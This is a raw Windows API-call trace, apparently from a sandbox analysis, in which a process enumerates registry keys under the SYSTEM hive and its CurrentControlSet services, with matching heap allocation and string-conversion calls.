RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.450] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0224.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0224.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.450] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0224.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0224.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.450] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0224.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0224.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.450] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0224.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0224.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.451] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0224.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0224.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.451] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0224.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0224.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.451] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.451] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0224.451] RegCloseKey (hKey=0x150) returned 0x0 [0224.451] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0224.451] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0224.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.452] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0224.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0224.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.452] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0224.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0224.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.452] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0224.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0224.452] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.453] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0224.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0224.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.453] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0224.453] RegCloseKey (hKey=0xc4) returned 0x0 [0224.453] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0224.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0224.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.453] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0224.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0224.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1ad8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0224.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.453] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.453] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0224.453] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0224.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1850, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0224.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.454] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0224.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0224.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1ad8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0224.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.454] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0224.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0224.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1850, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0224.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.454] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0224.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0224.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.454] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1ad8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0224.454] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.454] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.455] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0224.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0224.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.455] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0224.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0224.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.455] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0224.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.455] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0224.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.455] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.455] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0224.455] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 